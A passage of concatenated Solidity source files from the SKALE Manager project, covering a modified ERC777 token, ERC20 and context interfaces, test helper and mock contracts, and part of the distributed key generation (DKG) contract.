return true;
}
/**
* @dev See {IERC777-burn}.
*
* Also emits a {IERC20-Transfer} event for ERC20 compatibility.
*/
function burn(uint256 amount, bytes memory data) public override {
_burn(_msgSender(), amount, data, "");
}
/**
* @dev See {IERC777-isOperatorFor}.
*/
function isOperatorFor(
address operator,
address tokenHolder
) public view override returns (bool) {
return operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
/**
* @dev See {IERC777-authorizeOperator}.
*/
function authorizeOperator(address operator) public override {
require(_msgSender() != operator, "ERC777: authorizing self as operator");
if (_defaultOperators[operator]) {
delete _revokedDefaultOperators[_msgSender()][operator];
} else {
_operators[_msgSender()][operator] = true;
}
emit AuthorizedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-revokeOperator}.
*/
function revokeOperator(address operator) public override {
require(operator != _msgSender(), "ERC777: revoking self as operator");
if (_defaultOperators[operator]) {
_revokedDefaultOperators[_msgSender()][operator] = true;
} else {
delete _operators[_msgSender()][operator];
}
emit RevokedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-defaultOperators}.
*/
function defaultOperators() public view override returns (address[] memory) {
return _defaultOperatorsArray;
}
/**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {IERC20-Transfer} events.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
public override
{
require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder");
_send(sender, recipient, amount, data, operatorData, true);
}
/**
* @dev See {IERC777-operatorBurn}.
*
* Emits {Burned} and {IERC20-Transfer} events.
*/
function operatorBurn(address account, uint256 amount, bytes memory data, bytes memory operatorData) public override {
require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder");
_burn(account, amount, data, operatorData);
}
/**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/
function allowance(address holder, address spender) public view override returns (uint256) {
return _allowances[holder][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function approve(address spender, uint256 value) public override returns (bool) {
address holder = _msgSender();
_approve(holder, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {IERC20-Transfer} and {IERC20-Approval} events.
*/
function transferFrom(address holder, address recipient, uint256 amount) public override returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = _msgSender();
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
_approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance"));
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {IERC20-Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal virtual
{
require(account != address(0), "ERC777: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), account, amount);
// Update state variables
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
_callTokensReceived(operator, address(0), account, amount, userData, operatorData, true);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
/**
* @dev Send tokens
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _send(
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
internal
{
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
address operator = _msgSender();
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
/**
* @dev Burn tokens
* @param from address token holder address
* @param amount uint256 amount of tokens to burn
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _burn(
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
internal virtual
{
require(from != address(0), "ERC777: burn from the zero address");
address operator = _msgSender();
/* Chaged by SKALE: we swapped these lines to prevent delegation of burning tokens */
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
_beforeTokenTransfer(operator, from, address(0), amount);
/* End of changed by SKALE */
// Update state variables
_balances[from] = _balances[from].sub(amount, "ERC777: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
_beforeTokenTransfer(operator, from, to, amount);
_balances[from] = _balances[from].sub(amount, "ERC777: transfer amount exceeds balance");
_balances[to] = _balances[to].add(amount);
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
}
/**
* @dev See {ERC20-_approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function _approve(address holder, address spender, uint256 value) internal {
require(holder != address(0), "ERC777: approve from the zero address");
require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
/* Chaged by SKALE from private */ internal /* End of changed by SKALE */
/* Added by SKALE */ virtual /* End of added by SKALE */
{
address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(from, _TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
/**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
/* Chaged by SKALE from private */ internal /* End of changed by SKALE */
/* Added by SKALE */ virtual /* End of added by SKALE */
{
address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(to, _TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "ERC777: token recipient contract has no implementer for ERC777TokensRecipient");
}
}
/**
* @dev Hook that is called before any token transfer. This includes
* calls to {send}, {transfer}, {operatorSend}, minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - when `from` is zero, `tokenId` will be minted for `to`.
* - when `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address operator, address from, address to, uint256 tokenId) internal virtual { }
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
IDelegatableToken.sol - SKALE Manager
Copyright (C) 2019-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
/**
* @dev Interface of the SkaleToken contract.
*/
interface IDelegatableToken {
/**
* @dev Returns and updates the amount of locked tokens of a given account `wallet`.
*/
function getAndUpdateLockedAmount(address wallet) external returns (uint);
/**
* @dev Returns and updates the amount of delegated tokens of a given account `wallet`.
*/
function getAndUpdateDelegatedAmount(address wallet) external returns (uint);
/**
* @dev Returns and updates the amount of slashed tokens of a given account `wallet`.
*/
function getAndUpdateSlashedAmount(address wallet) external returns (uint);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC777TokensSender standard as defined in the EIP.
*
* {IERC777} Token holders can be notified of operations performed on their
* tokens by having a contract implement this interface (contract holders can be
* their own implementer) and registering it on the
* https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry].
*
* See {IERC1820Registry} and {ERC1820Implementer}.
*/
interface IERC777Sender {
/**
* @dev Called by an {IERC777} token contract whenever a registered holder's
* (`from`) tokens are about to be moved or destroyed. The type of operation
* is conveyed by `to` being the zero address or not.
*
* This call occurs _before_ the token contract's state is updated, so
* {IERC777-balanceOf}, etc., can be used to query the pre-operation state.
*
* This function may revert to prevent the operation from being executed.
*/
function tokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external;
}
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SkaleTokenInternalTester.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "../SkaleToken.sol";
contract SkaleTokenInternalTester is SkaleToken {
constructor(address contractManagerAddress, address[] memory defOps) public
SkaleToken(contractManagerAddress, defOps)
// solhint-disable-next-line no-empty-blocks
{ }
function getMsgData() external view returns (bytes memory) {
return _msgData();
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
TimeHelpersWithDebug.sol - SKALE Manager
Copyright (C) 2019-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "@openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol";
import "../delegation/TimeHelpers.sol";
contract TimeHelpersWithDebug is TimeHelpers, OwnableUpgradeSafe {
struct TimeShift {
uint pointInTime;
uint shift;
}
TimeShift[] private _timeShift;
function skipTime(uint sec) external onlyOwner {
if (_timeShift.length > 0) {
_timeShift.push(TimeShift({pointInTime: now, shift: _timeShift[_timeShift.length.sub(1)].shift.add(sec)}));
} else {
_timeShift.push(TimeShift({pointInTime: now, shift: sec}));
}
}
function initialize() external initializer {
OwnableUpgradeSafe.__Ownable_init();
}
function timestampToMonth(uint timestamp) public view override returns (uint) {
return super.timestampToMonth(timestamp.add(_getTimeShift(timestamp)));
}
function monthToTimestamp(uint month) public view override returns (uint) {
uint shiftedTimestamp = super.monthToTimestamp(month);
if (_timeShift.length > 0) {
return _findTimeBeforeTimeShift(shiftedTimestamp);
} else {
return shiftedTimestamp;
}
}
// private
function _getTimeShift(uint timestamp) private view returns (uint) {
if (_timeShift.length > 0) {
if (timestamp < _timeShift[0].pointInTime) {
return 0;
} else if (timestamp >= _timeShift[_timeShift.length.sub(1)].pointInTime) {
return _timeShift[_timeShift.length.sub(1)].shift;
} else {
uint left = 0;
uint right = _timeShift.length.sub(1);
while (left + 1 < right) {
uint middle = left.add(right).div(2);
if (timestamp < _timeShift[middle].pointInTime) {
right = middle;
} else {
left = middle;
}
}
return _timeShift[left].shift;
}
} else {
return 0;
}
}
function _findTimeBeforeTimeShift(uint shiftedTimestamp) private view returns (uint) {
uint lastTimeShiftIndex = _timeShift.length.sub(1);
if (_timeShift[lastTimeShiftIndex].pointInTime.add(_timeShift[lastTimeShiftIndex].shift)
< shiftedTimestamp) {
return shiftedTimestamp.sub(_timeShift[lastTimeShiftIndex].shift);
} else {
if (shiftedTimestamp <= _timeShift[0].pointInTime.add(_timeShift[0].shift)) {
if (shiftedTimestamp < _timeShift[0].pointInTime) {
return shiftedTimestamp;
} else {
return _timeShift[0].pointInTime;
}
} else {
uint left = 0;
uint right = lastTimeShiftIndex;
while (left + 1 < right) {
uint middle = left.add(right).div(2);
if (_timeShift[middle].pointInTime.add(_timeShift[middle].shift) < shiftedTimestamp) {
left = middle;
} else {
right = middle;
}
}
if (shiftedTimestamp < _timeShift[right].pointInTime.add(_timeShift[left].shift)) {
return shiftedTimestamp.sub(_timeShift[left].shift);
} else {
return _timeShift[right].pointInTime;
}
}
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SafeMock.sol - SKALE Manager
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "@openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol";
contract SafeMock is OwnableUpgradeSafe {
constructor() public {
OwnableUpgradeSafe.__Ownable_init();
multiSend(""); // this is needed to remove slither warning
}
function transferProxyAdminOwnership(OwnableUpgradeSafe proxyAdmin, address newOwner) external onlyOwner {
proxyAdmin.transferOwnership(newOwner);
}
function destroy() external onlyOwner {
selfdestruct(msg.sender);
}
/// @dev Sends multiple transactions and reverts all if one fails.
/// @param transactions Encoded transactions. Each transaction is encoded as a packed bytes of
/// operation as a uint8 with 0 for a call or 1 for a delegatecall (=> 1 byte),
/// to as a address (=> 20 bytes),
/// value as a uint256 (=> 32 bytes),
/// data length as a uint256 (=> 32 bytes),
/// data as bytes.
/// see abi.encodePacked for more information on packed encoding
function multiSend(bytes memory transactions)
public
{
// solhint-disable-next-line no-inline-assembly
assembly {
let length := mload(transactions)
let i := 0x20
// solhint-disable-next-line no-empty-blocks
for { } lt(i, length) { } {
// First byte of the data is the operation.
// We shift by 248 bits (256 - 8 [operation byte]) it right
// since mload will always load 32 bytes (a word).
// This will also zero out unused data.
let operation := shr(0xf8, mload(add(transactions, i)))
// We offset the load address by 1 byte (operation byte)
// We shift it right by 96 bits (256 - 160 [20 address bytes])
// to right-align the data and zero out unused data.
let to := shr(0x60, mload(add(transactions, add(i, 0x01))))
// We offset the load address by 21 byte (operation byte + 20 address bytes)
let value := mload(add(transactions, add(i, 0x15)))
// We offset the load address by 53 byte (operation byte + 20 address bytes + 32 value bytes)
let dataLength := mload(add(transactions, add(i, 0x35)))
// We offset the load address by 85 byte
// (operation byte + 20 address bytes + 32 value bytes + 32 data length bytes)
let data := add(transactions, add(i, 0x55))
let success := 0
switch operation
case 0 { success := call(gas(), to, value, data, dataLength, 0, 0) }
case 1 { success := delegatecall(gas(), to, data, dataLength, 0, 0) }
if eq(success, 0) { revert(0, 0) }
// Next entry starts at 85 byte + data length
i := add(i, add(0x55, dataLength))
}
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SkaleDkgAlright.sol - SKALE Manager
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaiev
@author Artem Payvin
@author Vadim Yavorsky
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "../SkaleDKG.sol";
import "../ContractManager.sol";
import "../Wallets.sol";
import "../KeyStorage.sol";
/**
* @title SkaleDkgAlright
* @dev Contains functions to manage distributed key generation per
* Joint-Feldman protocol.
*/
library SkaleDkgAlright {
event AllDataReceived(bytes32 indexed schainHash, uint nodeIndex);
event SuccessfulDKG(bytes32 indexed schainHash);
function alright(
bytes32 schainHash,
uint fromNodeIndex,
ContractManager contractManager,
mapping(bytes32 => SkaleDKG.Channel) storage channels,
mapping(bytes32 => SkaleDKG.ProcessDKG) storage dkgProcess,
mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints,
mapping(bytes32 => uint) storage lastSuccessfulDKG
)
external
{
SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG"));
(uint index, ) = skaleDKG.checkAndReturnIndexInGroup(schainHash, fromNodeIndex, true);
uint numberOfParticipant = channels[schainHash].n;
require(numberOfParticipant == dkgProcess[schainHash].numberOfBroadcasted, "Still Broadcasting phase");
require(
complaints[schainHash].fromNodeToComplaint != fromNodeIndex ||
(fromNodeIndex == 0 && complaints[schainHash].startComplaintBlockTimestamp == 0),
"Node has already sent complaint"
);
require(!dkgProcess[schainHash].completed[index], "Node is already alright");
dkgProcess[schainHash].completed[index] = true;
dkgProcess[schainHash].numberOfCompleted++;
emit AllDataReceived(schainHash, fromNodeIndex);
if (dkgProcess[schainHash].numberOfCompleted == numberOfParticipant) {
lastSuccessfulDKG[schainHash] = now;
channels[schainHash].active = false;
KeyStorage(contractManager.getContract("KeyStorage")).finalizePublicKey(schainHash);
emit SuccessfulDKG(schainHash);
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SkaleDKG.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "./Permissions.sol";
import "./delegation/Punisher.sol";
import "./SlashingTable.sol";
import "./Schains.sol";
import "./SchainsInternal.sol";
import "./utils/FieldOperations.sol";
import "./NodeRotation.sol";
import "./KeyStorage.sol";
import "./interfaces/ISkaleDKG.sol";
import "./thirdparty/ECDH.sol";
import "./utils/Precompiled.sol";
import "./Wallets.sol";
import "./dkg/SkaleDkgAlright.sol";
import "./dkg/SkaleDkgBroadcast.sol";
import "./dkg/SkaleDkgComplaint.sol";
import "./dkg/SkaleDkgPreResponse.sol";
import "./dkg/SkaleDkgResponse.sol";
/**
* @title SkaleDKG
* @dev Contains functions to manage distributed key generation per
* Joint-Feldman protocol.
*/
contract SkaleDKG is Permissions, ISkaleDKG {
using Fp2Operations for Fp2Operations.Fp2Point;
using G2Operations for G2Operations.G2Point;
enum DkgFunction {Broadcast, Alright, ComplaintBadData, PreResponse, Complaint, Response}
struct Channel {
bool active;
uint n;
uint startedBlockTimestamp;
uint startedBlock;
}
struct ProcessDKG {
uint numberOfBroadcasted;
uint numberOfCompleted;
bool[] broadcasted;
bool[] completed;
}
struct ComplaintData {
uint nodeToComplaint;
uint fromNodeToComplaint;
uint startComplaintBlockTimestamp;
bool isResponse;
bytes32 keyShare;
G2Operations.G2Point sumOfVerVec;
}
struct KeyShare {
bytes32[2] publicKey;
bytes32 share;
}
struct Context {
bool isDebt;
uint delta;
DkgFunction dkgFunction;
}
uint public constant COMPLAINT_TIMELIMIT = 1800;
mapping(bytes32 => Channel) public channels;
mapping(bytes32 => uint) public lastSuccessfulDKG;
mapping(bytes32 => ProcessDKG) public dkgProcess;
mapping(bytes32 => ComplaintData) public complaints;
mapping(bytes32 => uint) public startAlrightTimestamp;
mapping(bytes32 => mapping(uint => bytes32)) public hashedData;
mapping(bytes32 => uint) private _badNodes;
/**
* @dev Emitted when a channel is opened.
*/
event ChannelOpened(bytes32 schainHash);
/**
* @dev Emitted when a channel is closed.
*/
event ChannelClosed(bytes32 schainHash);
/**
* @dev Emitted when a node broadcasts keyshare.
*/
event BroadcastAndKeyShare(
bytes32 indexed schainHash,
uint indexed fromNode,
G2Operations.G2Point[] verificationVector,
KeyShare[] secretKeyContribution
);
/**
* @dev Emitted when all group data is received by node.
*/
event AllDataReceived(bytes32 indexed schainHash, uint nodeIndex);
/**
* @dev Emitted when DKG is successful.
*/
event SuccessfulDKG(bytes32 indexed schainHash);
/**
* @dev Emitted when a complaint against a node is verified.
*/
event BadGuy(uint nodeIndex);
/**
* @dev Emitted when DKG failed.
*/
event FailedDKG(bytes32 indexed schainHash);
/**
* @dev Emitted when a new node is rotated in.
*/
event NewGuy(uint nodeIndex);
/**
* @dev Emitted when an incorrect complaint is sent.
*/
event ComplaintError(string error);
/**
* @dev Emitted when a complaint is sent.
*/
event ComplaintSent(
bytes32 indexed schainHash, uint indexed fromNodeIndex, uint indexed toNodeIndex);
modifier correctGroup(bytes32 schainHash) {
require(channels[schainHash].active, "Group is not created");
_;
}
modifier correctGroupWithoutRevert(bytes32 schainHash) {
if (!channels[schainHash].active) {
emit ComplaintError("Group is not created");
} else {
_;
}
}
modifier correctNode(bytes32 schainHash, uint nodeIndex) {
(uint index, ) = checkAndReturnIndexInGroup(schainHash, nodeIndex, true);
_;
}
modifier correctNodeWithoutRevert(bytes32 schainHash, uint nodeIndex) {
(, bool check) = checkAndReturnIndexInGroup(schainHash, nodeIndex, false);
if (!check) {
emit ComplaintError("Node is not in this group");
} else {
_;
}
}
modifier onlyNodeOwner(uint nodeIndex) {
_checkMsgSenderIsNodeOwner(nodeIndex);
_;
}
modifier refundGasBySchain(bytes32 schainHash, Context memory context) {
uint gasTotal = gasleft();
_;
_refundGasBySchain(schainHash, gasTotal, context);
}
modifier refundGasByValidatorToSchain(bytes32 schainHash, Context memory context) {
uint gasTotal = gasleft();
_;
_refundGasBySchain(schainHash, gasTotal, context);
_refundGasByValidatorToSchain(schainHash);
}
function alright(bytes32 schainHash, uint fromNodeIndex)
external
refundGasBySchain(schainHash,
Context({
isDebt: false,
delta: ConstantsHolder(contractManager.getConstantsHolder()).ALRIGHT_DELTA(),
dkgFunction: DkgFunction.Alright
}))
correctGroup(schainHash)
onlyNodeOwner(fromNodeIndex)
{
SkaleDkgAlright.alright(
schainHash,
fromNodeIndex,
contractManager,
channels,
dkgProcess,
complaints,
lastSuccessfulDKG
);
}
function broadcast(
bytes32 schainHash,
uint nodeIndex,
G2Operations.G2Point[] memory verificationVector,
KeyShare[] memory secretKeyContribution
)
external
refundGasBySchain(schainHash,
Context({
isDebt: false,
delta: ConstantsHolder(contractManager.getConstantsHolder()).BROADCAST_DELTA(),
dkgFunction: DkgFunction.Broadcast
}))
correctGroup(schainHash)
onlyNodeOwner(nodeIndex)
{
SkaleDkgBroadcast.broadcast(
schainHash,
nodeIndex,
verificationVector,
secretKeyContribution,
contractManager,
channels,
dkgProcess,
hashedData
);
}
function complaintBadData(bytes32 schainHash, uint fromNodeIndex, uint toNodeIndex)
external
refundGasBySchain(
schainHash,
Context({
isDebt: true,
delta: ConstantsHolder(contractManager.getConstantsHolder()).COMPLAINT_BAD_DATA_DELTA(),
dkgFunction: DkgFunction.ComplaintBadData
}))
correctGroupWithoutRevert(schainHash)
correctNode(schainHash, fromNodeIndex)
correctNodeWithoutRevert(schainHash, toNodeIndex)
onlyNodeOwner(fromNodeIndex)
{
SkaleDkgComplaint.complaintBadData(
schainHash,
fromNodeIndex,
toNodeIndex,
contractManager,
complaints
);
}
function preResponse(
bytes32 schainId,
uint fromNodeIndex,
G2Operations.G2Point[] memory verificationVector,
G2Operations.G2Point[] memory verificationVectorMult,
KeyShare[] memory secretKeyContribution
)
external
refundGasBySchain(
schainId,
Context({
isDebt: true,
delta: ConstantsHolder(contractManager.getConstantsHolder()).PRE_RESPONSE_DELTA(),
dkgFunction: DkgFunction.PreResponse
}))
correctGroup(schainId)
onlyNodeOwner(fromNodeIndex)
{
SkaleDkgPreResponse.preResponse(
schainId,
fromNodeIndex,
verificationVector,
verificationVectorMult,
secretKeyContribution,
contractManager,
complaints,
hashedData
);
}
function complaint(bytes32 schainHash, uint fromNodeIndex, uint toNodeIndex)
external
refundGasByValidatorToSchain(
schainHash,
Context({
isDebt: true,
delta: ConstantsHolder(contractManager.getConstantsHolder()).COMPLAINT_DELTA(),
dkgFunction: DkgFunction.Complaint
}))
correctGroupWithoutRevert(schainHash)
correctNode(schainHash, fromNodeIndex)
correctNodeWithoutRevert(schainHash, toNodeIndex)
onlyNodeOwner(fromNodeIndex)
{
SkaleDkgComplaint.complaint(
schainHash,
fromNodeIndex,
toNodeIndex,
contractManager,
channels,
complaints,
startAlrightTimestamp
);
}
function response(
bytes32 schainHash,
uint fromNodeIndex,
uint secretNumber,
G2Operations.G2Point memory multipliedShare
)
external
refundGasByValidatorToSchain(
schainHash,
Context({isDebt: true,
delta: ConstantsHolder(contractManager.getConstantsHolder()).RESPONSE_DELTA(),
dkgFunction: DkgFunction.Response
}))
correctGroup(schainHash)
onlyNodeOwner(fromNodeIndex)
{
SkaleDkgResponse.response(
schainHash,
fromNodeIndex,
secretNumber,
multipliedShare,
contractManager,
channels,
complaints
);
}
/**
* @dev Allows Schains and NodeRotation contracts to open a channel.
*
* Emits a {ChannelOpened} event.
*
* Requirements:
*
* - Channel is not already created.
*/
function openChannel(bytes32 schainHash) external override allowTwo("Schains","NodeRotation") {
_openChannel(schainHash);
}
/**
* @dev Allows SchainsInternal contract to delete a channel.
*
